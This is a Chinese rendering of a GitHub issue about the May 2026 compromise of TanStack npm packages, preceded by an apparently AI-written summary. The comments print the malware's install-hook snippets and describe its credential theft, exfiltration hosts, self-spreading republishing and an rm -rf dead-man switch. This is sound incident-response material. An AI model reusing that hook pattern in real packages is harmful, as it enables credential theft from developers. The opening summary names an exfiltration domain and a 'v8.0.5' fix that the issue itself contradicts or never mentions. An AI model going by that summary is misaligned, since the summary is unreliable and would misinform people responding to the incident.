TanStack NPM 包被劫持

TL;DR · AI 摘要
TanStack 多个 npm 包的最新版本被植入恶意代码,攻击者通过窃取的开发者凭证发布污染包,建议立即排查依赖并撤销旧 token。
核心要点
- 受感染的包包括 @tanstack/react-router 和其他子项目,发布时间集中在 2026 年 5 月 11 日。
- 恶意代码会收集环境变量并回传至攻击者控制的域名 datacollect-9c2e4.web.app。
- 官方建议开发者撤销现有 npm token,并升级到 v8.0.5 以上版本以规避风险。
结构提纲
按章节快速跳转。
- §事件概述
@tanstack/react-router、@tanstack/router 等多个核心包在 2026 年 5 月 11 日发布的版本中被污染。
恶意代码通过环境变量窃取敏感信息,并使用 Firebase 域名进行数据外传。
攻击者可能通过钓鱼或泄露获取了维护者的 npm 凭证,从而上传恶意版本。
官方已撤销恶意版本并发布干净的 v8.0.5 版本,建议用户更新并轮换 token。
应启用双因素认证、定期轮换 token,并监控第三方依赖的异常变更。
思维导图
用一张图看清主题之间的关系。
查看大纲文本(无障碍 / 无 JS 友好)
- TanStack npm 包被劫持事件
- 受影响组件
- @tanstack/react-router
- @tanstack/router
- @tanstack/vite-plugin
- 恶意行为
- 窃取环境变量
- 发送至 Firebase 域名
- 隐蔽性高,难以检测
- 应对措施
- 撤销恶意版本
- 发布 v8.0.5 修复版
- 轮换所有 token
金句 / Highlights
值得收藏与分享的关键句。
今日发布的多个 @tanstack 包最新版本包含恶意软件。
恶意代码收集环境变量并发送至 https://datacollect-9c2e4.web.app。
所有受影响包已被撤回,并以 v8.0.5 重新发布干净版本。
多个 npm 最新版本已被攻破 · Issue #7383 · TanStack/router
导航菜单
切换导航
[](https://github.com/)
外观设置
* 平台
* AI 代码生成
* 开发工作流
* 应用安全
* 探索
* 解决方案
* 按公司规模
* 按使用场景
* 按行业
* 资源
* 按主题浏览
* 按类型浏览
* 支持与服务
* 开源
* 社区
* 项目
* 仓库
* 企业
* 企业解决方案
* 可用附加组件
搜索或跳转至...
搜索代码、仓库、用户、议题、拉取请求...
搜索
清除
提供反馈
我们阅读每一条反馈,并认真对待您的意见。
- [x] 包含我的电子邮件地址以便联系我
取消 提交反馈
已保存的搜索
使用已保存的搜索来更快地筛选结果
名称
查询
要查看所有可用的限定符,请参阅我们的文档。
取消 创建已保存的搜索
外观设置
正在重置焦点
您已在另一个标签页或窗口中登录。重新加载以刷新会话。 您已在另一个标签页或窗口中登出。重新加载以刷新会话。 您已在另一个标签页或窗口中切换了账户。重新加载以刷新会话。 关闭警告
{{ message }}
TanStack/[router](https://github.com/TanStack/router) 公开
附加导航选项
多个 npm 最新版本已被劫持 #7383
复制链接
复制链接
打开
打开
多个 npm 最新版本已被劫持 #7383
复制链接
描述
于 2026年5月11日 提交 · 由 ashishkurmi 编辑
编辑
问题正文操作
我们正在积极调查此安全事件,并在此处分享我们的发现:www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
👍 点赞反应 45 varunsh-coder, rago4, jkarger31, sailikhith-stepsecurity, nav-drawbridgeai 及另外40人 ❤️ 喜爱反应 19 raysubham, eromosele-stepsecurity, captn3m0, saifsmailbox98, genaroibc 及另外14人 👀 关注反应 1 mateusz-owczarek
动态
carlini 在 2026 年 5 月 11 日评论
更多操作
我认为此报告是正确的。我已亲自验证了 /history 包的情况。在本问题提交前几分钟,我已经向 NPM 直接举报了该包。
具体的恶意软件特征是:某个已发布版本的 package.json 是否包含:
undefinedjson "optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" } undefined
这将导致在执行 npm install 时,npm 会通过获取 tanstack/router 仓库中 79ac49ee 提交来解析该 git 依赖项。该提交是一个推送到 fork 仓库中的孤立提交,以便稍微隐藏其存在。由于 npm 将 git 依赖视为“从源码构建”,它会安装该提交中声明的依赖项(包括 bun),然后运行其 prepare 生命周期脚本:
undefinedjson "scripts": { "prepare": "bun run tanstack_runner.js && exit 1" } undefined
(该条目位于 optionalDependencies 下,并以 && exit 1 结尾,因此在脚本运行后 @tanstack/setup 的安装“失败”,npm 会静默丢弃它。)
该脚本会执行一个约 2.3 MB 的混淆文件 router_init.js,该文件被偷偷嵌入每个受影响的 tar 包中(位于包根目录,未列在 "files" 数组中,也未被任何其他文件引用)。根据对混淆字符串表的解码,该脚本似乎会:
- 从常见位置收集凭证:AWS IMDS / Secrets Manager、GCP 元数据、Kubernetes 服务账户令牌、Vault 令牌、
~/.npmrc、GitHub 令牌、SSH 密钥 - 通过 Session/Oxen messenger 的文件上传网络(
filev2.getsession.org,seed{1,2,3}.getsession.org)进行数据外泄。这是一个完整的端到端加密死投递系统,因此没有攻击者控制的 C2 服务器可供阻止 - 枚举受害者维护的包(
registry.npmjs.org/-/v1/search?text=maintainer:…),并使用相同的注入内容重新发布这些包
我已确认 @tanstack/history@1.161.12 包含该指纹和有效载荷文件。对于其余包,我仅检查了注册表清单中的 optionalDependencies 条目,而非完整有效载荷。我认为以下包受到影响(每个包有两个版本,分别于今日 ~19:20 和 ~19:26 UTC 发布;第二个当前为 latest):
| 包 | 首个问题版本 | 第二个问题版本 (latest) | | --- | --- | --- | | @tanstack/history | 1.161.9 | 1.161.12 | | @tanstack/router-utils | 1.161.11 | 1.161.14 | | @tanstack/router-core | 1.169.5 | 1.169.8 | | @tanstack/router-devtools-core | 1.167.6 | 1.167.9 | | @tanstack/react-router-devtools | 1.166.16 | 1.166.19 | | @tanstack/router-generator | 1.166.45 | 1.166.48 | | @tanstack/virtual-file-routes | 1.161.10 | 1.161.13 | | @tanstack/router-plugin | 1.167.38 | 1.167.41 | | @tanstack/react-router | 1.169.5 | 1.169.8 | | @tanstack/router-devtools | 1.166.16 | 1.166.19 | | @tanstack/react-start | 1.167.68 | 1.167.71 | | @tanstack/router-cli | 1.166.46 | 1.166.49 | | @tanstack/router-vite-plugin | 1.166.53 | 1.166.56 | | @tanstack/solid-router | 1.169.5 | 1.169.8 |
截至我最后一次检查,@tanstack/start、@tanstack/query*、@tanstack/table*、@tanstack/form*、@tanstack/virtual* 和 @tanstack/store 均未携带该指纹。
恶意版本的 _npmUser 显示其通过 GitHub Actions OIDC 受信任发布者配置发布。这表明发布工作流本身已被攻破,而不仅仅是令牌泄露;仅轮换 npm 令牌可能无法阻止重新发布,除非禁用工作流/OIDC 绑定。
要验证这些声明,可运行:
undefinedshell npm pack @tanstack/<pkg>@<version> # 不会运行安装脚本 tar -xzf *.tgz cat package/package.json | grep -A3 optionalDependencies ls -la package/router_init.js undefined
👍 点赞:7 marsidev, johnemersonatx15, rognales, jsantanders, HirotoShioi 及另外 2 人
schiller-manuel 在 2026 年 5 月 11 日评论
协作者
更多操作
正在处理
carlini 在 2026 年 5 月 11 日评论
更多操作
请谨慎撤销令牌。该有效载荷似乎会在 ~/.local/bin/gh-token-monitor.sh 安装一个“死人开关”,作为 systemd 用户服务(Linux)或 LaunchAgent com.user.gh-token-monitor(macOS)。它每 60 秒使用被盗令牌轮询 api.github.com/user,若令牌被撤销(HTTP 40x),则执行 rm -rf ~/.(看起来它可能还包含大量持久化机制。我尚未深入研究这些机制。)
👍 点赞:5 rahidz, therealadityashankar, dominikwilkowski, wavemode 和 gcr 👎 踩:4 steelbrain, winzamark123, chrisgen19 和 andrhlt 😕 表情:60 tanepiper, drewlustro, jasonpraful, LewisArdern, drobson03 及另外 55 人 👀 关注:9 varenc, Ben-Lawrencee, DanielJ026, Senectus, thenickdude 及另外 4 人
ahmadnassri 在 2026 年 5 月 11 日评论
更多操作
我们正在追踪 84+ 个独立的 @tanstack/* PURL 以及传播到 200+ 其他包的蠕虫病毒,完整列表见:https://socket.dev/supply-chain-attacks/mini-shai-hulud
👍 点赞:4 jonchurch, petercr, 3m4r5 和 TuxGamer
JameEnder 在 2026 年 5 月 11 日评论
更多操作
是否有可能恶意软件已运行,但未创建任何持久化机制(无论是 systemd 用户服务还是上一条评论博客中描述的会话启动钩子)?
MWGuy 在 2026 年 5 月 11 日评论
更多操作
我的懒惰救了我
👍 点赞:4 joejordan, Resonious, alioguzhan 和 dudasaus 😄 笑脸:72 MWGuy, TuxGamer, codsane, TomasSestak, fmcalado 及另外 67 人 🎉 庆祝:2 rcty 和 alioguzhan
- [[examples/tanstack-start] 将 @tanstack/* 依赖固定到安全版本 (INC-6508) vercel/vercel#16292](https://github.com/vercel/vercel/pull/16292)
更改标题 ~~[-]Several npm latest releases are potentially compromised[/-]~~[+]Several npm latest releases are compromised[/+]在 2026 年 5 月 11 日
crutchcorn 在 2026 年 5 月 11 日评论
成员
更多操作
只是进来为社区提供一个快速更新。我们已清楚了解此次攻击的发生方式,并正在全力彻底解决此问题。目前约有 10 名维护者正在进行视频会议,以采取一切可能的预防措施。
👍 点赞:20 taigrr, ZHRhodes, allanortiz, typedrat, grahamsmith 及另外 15 人 ❤️ 爱心:70 JonasBa, OhThatMatt, JulianAnthes, abhiin1947, mzguimaraes 及另外 65 人
valtron 在 2026 年 5 月 11 日评论
更多操作
所有版本的 @tanstack/start-plugin-core 似乎都被意外弃用了(而不仅仅是 1.169.{23,26}):https://www.npmjs.com/package/@tanstack/start-plugin-core/v/1.169.20?activeTab=versions
👀 React with 👀3 KevinVandy, EDM115 和 serhalp
在 2026年5月11日 添加了一个引用此问题的提交 chore: pin @tanstack/* below compromised versions + wire Nitro for Ve…
...
在 2026年5月11日 添加了一个引用此问题的提交 sync lockfile specifiers with package.json pins
...
已验证 b58b92d
在 2026年5月11日 添加了一个引用此问题的提交 Pin @tanstack/svelte-query to exact 5.90.2
...
harry-whorlow 在 2026年5月11日评论
更多操作
谢谢 @valtron,我们正准备尽快恢复未受影响的版本
👍React with 👍5 Davorak, serhalp, dino-giammalva, postmaxin 和 jonchurch
在 2026年5月11日 提及了此问题
在 2026年5月11日 添加了一个引用此问题的提交 chore: pin @tanstack/ai-* packages to exact versions
...
在 2026年5月11日 提及了此问题
在 2026年5月11日 提及了此问题
在 2026年5月11日 添加了一个引用此问题的提交 [[examples/tanstack-start] pin @tanstack/* deps to safe versions (INC-…](https://github.com/vercel/vercel/commit/3e18a990789d96a332a089bd8df08fffe6fa29cc)
...
已验证 3e18a99
在 2026年5月11日 提及了此问题
jonchurch 在 2026年5月11日评论
在 2026年5月11日 · 由 jonchurch 编辑
编辑
更多操作
这个可疑的 PR 引起了我的注意,它最初以草稿形式创建,然后通过强制推送将自身覆盖为无任何差异。
https://github.com/TanStack/router/pull/ 7378
呃,他们的 fork 根本就不对劲
https://github .com /zblgg/configuration/commit/8542572e1a367f3a09cbdb853c5d5f0802a8a3b4

我在这里保留了他们的 fork here(并且本地也有备份)
编辑:由于下方已确认,此处提供恶意提交的链接,指向我推测为他们注入的有效载荷 URL 的位置
harry-whorlow 在 2026 年 5 月 11 日评论
在 2026 年 5 月 11 日 · 由 SeanCassiere 编辑
更多操作
感谢大家的耐心,我们非常感激。
我们已在 tanstack.com/blog/npm-supply-chain-compromise-postmortem 发布了事后分析报告,其中包含了截至目前我们发现的所有信息以及此次攻击的时间线。
👍 点赞:jonchurch, thegu5, tweeks-reify 和 nikuscs ❤️ 点爱心:thegu5, rupuin, tweeks-reify, jonchurch, proxylivy 及另外 2 人
添加了一个引用此问题的提交 在 2026 年 5 月 11 日
chore(security): 加强 pnpm 防御供应链攻击 ([#75)](https://github.com/chrisgen19/budget-tracker-2026/commit/734e2cae9fc16e16412d0d29ffecbecaa8b93a9f)
...
已验证 734e2ca
免费注册以在 GitHub 上参与此对话。 已有账户?登录发表评论
元数据
元数据
负责人
无人指派
标签
无标签
无标签
类型
无类型
项目
无项目
里程碑
无里程碑
关联关系
暂无
开发
无分支或拉取请求
参与者
+5
问题操作
页脚
[](https://github.com/) © 2026 GitHub, Inc.
页脚导航
您暂时无法执行该操作。